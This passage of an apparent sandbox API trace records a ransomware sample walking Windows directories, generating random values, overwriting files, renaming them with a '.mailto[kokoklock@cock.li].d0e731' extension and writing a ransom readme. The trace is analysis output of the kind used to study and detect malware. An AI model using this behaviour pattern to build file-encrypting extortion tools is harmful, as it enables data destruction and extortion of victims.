_Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\" [0083.485] wcscat (in: _Dest=0x3486860, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*" [0083.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34a1318 [0083.485] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\*", lpFindFileData=0x34a1318 | out: lpFindFileData=0x34a1318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e01d8 [0083.862] wcscmp (_String1=".", _String2=".") returned 0 [0083.862] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x34a1318 | out: lpFindFileData=0x34a1318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.862] wcscmp (_String1="..", _String2=".") returned 1 [0083.862] wcscmp (_String1="..", _String2="..") returned 0 [0083.862] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x34a1318 | out: lpFindFileData=0x34a1318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0083.862] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2=".") returned 1 [0083.862] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml", _String2="..") returned 1 [0083.862] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x3429bd8 [0083.862] wcscpy (in: _Dest=0x3429bd8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime" [0083.862] wcscat (in: _Dest=0x3429bd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\" [0083.862] wcscat (in: _Dest=0x3429bd8, _Source="0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0084.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3429bd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x774 [0084.794] FindNextFileW (in: hFindFile=0x33e01d8, lpFindFileData=0x34a1318 | out: lpFindFileData=0x34a1318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0084.794] FindClose (in: hFindFile=0x33e01d8 | out: hFindFile=0x33e01d8) returned 1 [0084.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a1318) returned 1 [0084.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486860) returned 1 [0084.794] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431d80) returned 1 [0084.794] RtlExitUserThread (Status=0x0) Thread: id = 1182 os_tid = 0x2d0 [0083.485] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml")) returned 0x20 [0084.221] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.221] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0084.221] GetFileSizeEx (in: hFile=0x670, lpFileSize=0x29bbf9ac | out: lpFileSize=0x29bbf9ac*=460) returned 1 [0084.221] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.221] ReadFile (in: hFile=0x670, lpBuffer=0x29bbf980, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29bbf97c, lpOverlapped=0x0 | out: lpBuffer=0x29bbf980*, lpNumberOfBytesRead=0x29bbf97c*=0x4, lpOverlapped=0x0) returned 1 [0084.222] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.222] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d9b0 [0084.222] NtQuerySystemTime (in: CurrentTime=0x29bbf958 | out: CurrentTime=0x29bbf958*=132121176421173126) returned 0x0 [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x384b8073 [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x364cc258 [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x45b5106c [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0xe8c5e208 [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x9eefeff1 [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0xac5ef01f [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x72cf282a [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x536410f6 [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x3932dfc3 [0084.222] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x180b5cd6 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x9ba389e0 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x5cc99409 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0xcf16d15 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x46f07940 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x2004e9dc [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0xedb5e93d [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0xdae16be5 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0xaa0c8a95 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x47787229 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x911d6ef7 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x116d93e8 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0xd8daaa90 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0xf665bbce [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x94a772b3 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x575b3e37 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x26b75442 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x6fe10f05 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x806c8af0 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x9426d2e5 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0xebef6292 [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x919339ed [0084.223] RtlRandom (in: Seed=0x29bbf964 | out: Seed=0x29bbf964) returned 0x1acf310e [0084.233] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.234] ReadFile (in: hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x29bbf958, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x29bbf958*=0x1cc, lpOverlapped=0x0) returned 1 [0084.234] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29bbf920 | out: lpNewFilePointer=0x0) returned 1 [0084.234] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x1cc, lpNumberOfBytesWritten=0x29bbf954, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x29bbf954*=0x1cc, lpOverlapped=0x0) returned 1 [0084.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.234] WriteFile (in: hFile=0x670, lpBuffer=0x342dbe0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29bbf950, lpOverlapped=0x0 | out: lpBuffer=0x342dbe0*, lpNumberOfBytesWritten=0x29bbf950*=0x20, lpOverlapped=0x0) returned 1 [0084.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.234] WriteFile (in: hFile=0x670, lpBuffer=0x342da00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29bbf97c, lpOverlapped=0x0 | out: lpBuffer=0x342da00*, lpNumberOfBytesWritten=0x29bbf97c*=0x8, lpOverlapped=0x0) returned 1 [0084.235] WriteFile (in: hFile=0x670, lpBuffer=0x29bbf994*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29bbf97c, lpOverlapped=0x0 | out: lpBuffer=0x29bbf994*, lpNumberOfBytesWritten=0x29bbf97c*=0x4, lpOverlapped=0x0) returned 1 [0084.235] WriteFile (in: hFile=0x670, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29bbf97c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x29bbf97c*=0x4, lpOverlapped=0x0) returned 1 [0084.235] WriteFile (in: hFile=0x670, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x29bbf97c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x29bbf97c*=0x6c, lpOverlapped=0x0) returned 1 [0084.235] WriteFile (in: hFile=0x670, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x29bbf97c, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x29bbf97c*=0x20, lpOverlapped=0x0) returned 1 [0084.235] WriteFile (in: hFile=0x670, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29bbf97c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x29bbf97c*=0x4, lpOverlapped=0x0) returned 1 [0084.235] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.235] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d9d8) returned 1 [0084.235] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342da00) returned 1 [0084.235] CloseHandle (hObject=0x670) returned 1 [0084.235] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x33fb1b0 [0084.235] wcscpy (in: _Dest=0x33fb1b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" [0084.235] wcscat (in: _Dest=0x33fb1b0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.235] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.236] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.236] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb1b0) returned 1 [0084.236] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.236] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.236] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\" [0084.236] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\D0E731-Readme.txt" [0084.236] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.236] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0084.237] WriteFile (in: hFile=0x670, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x29bbf978, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x29bbf978*=0x481, lpOverlapped=0x0) returned 1 [0084.238] CloseHandle (hObject=0x670) returned 1 [0084.238] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.238] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6918) returned 1 [0084.238] RtlExitUserThread (Status=0x1) Thread: id = 1183 os_tid = 0x714 [0083.486] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js")) returned 0x20 [0083.486] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js", dwFileAttributes=0x20) returned 1 [0083.486] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js\\base.js" (normalized: "c:\\windows10upgrade\\resources\\ux\\microsoft.winjs\\js\\base.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0083.487] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x29c3f9c4 | out: lpFileSize=0x29c3f9c4*=1283526) returned 1 [0083.487] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x1395c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.487] ReadFile (in: hFile=0x42c, lpBuffer=0x29c3f998, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29c3f994, lpOverlapped=0x0 | out: lpBuffer=0x29c3f998*, lpNumberOfBytesRead=0x29c3f994*=0x4, lpOverlapped=0x0) returned 1 [0083.489] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cda8 [0083.489] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cec0 [0083.490] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cee8 [0083.490] NtQuerySystemTime (in: CurrentTime=0x29c3f970 | out: CurrentTime=0x29c3f970*=132121176413829111) returned 0x0 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x99c5d66 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xa5a64890 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x485afd39 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x6cdb8210 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x1bcb6b8c [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x8eeb0f27 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x7625381b [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x2d856b73 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x8e766d7a [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x5c4c2ca6 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xc455f696 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x37143790 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xe9a7c856 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x5ad3fedb [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x766ad765 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x5e6c1568 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x189707a2 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x9e82344c [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xde3f97ea [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xe4470927 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xe63232e8 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x4f92f0a [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xc21143cf [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xf6b54c04 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xf2200cd8 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xa4795c44 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x9c01afbc [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x96084656 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x46a69a93 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x774e8dc1 [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0xc65146ad [0083.490] RtlRandom (in: Seed=0x29c3f97c | out: Seed=0x29c3f97c) returned 0x8e108255 [0083.501] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fdf0) returned 1 [0083.501] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0083.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0083.501] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.501] ReadFile (in: hFile=0x42c, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x29c3f930, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x29c3f930*=0x4096, lpOverlapped=0x0) returned 1 [0083.549] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0083.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0083.549] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cda8 [0083.549] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0083.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55dc0f8 [0083.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cda8 [0083.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d5c8 [0083.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d5c8) returned 1 [0083.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0083.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0083.550] WriteFile (in: hFile=0x42c, lpBuffer=0x55dc0f8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x29c3f930, lpOverlapped=0x0 | out: lpBuffer=0x55dc0f8*, lpNumberOfBytesWritten=0x29c3f930*=0x4096, lpOverlapped=0x0) returned 1 [0083.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc0f8) returned 1 [0083.550] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x9d6da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.551] ReadFile (in: 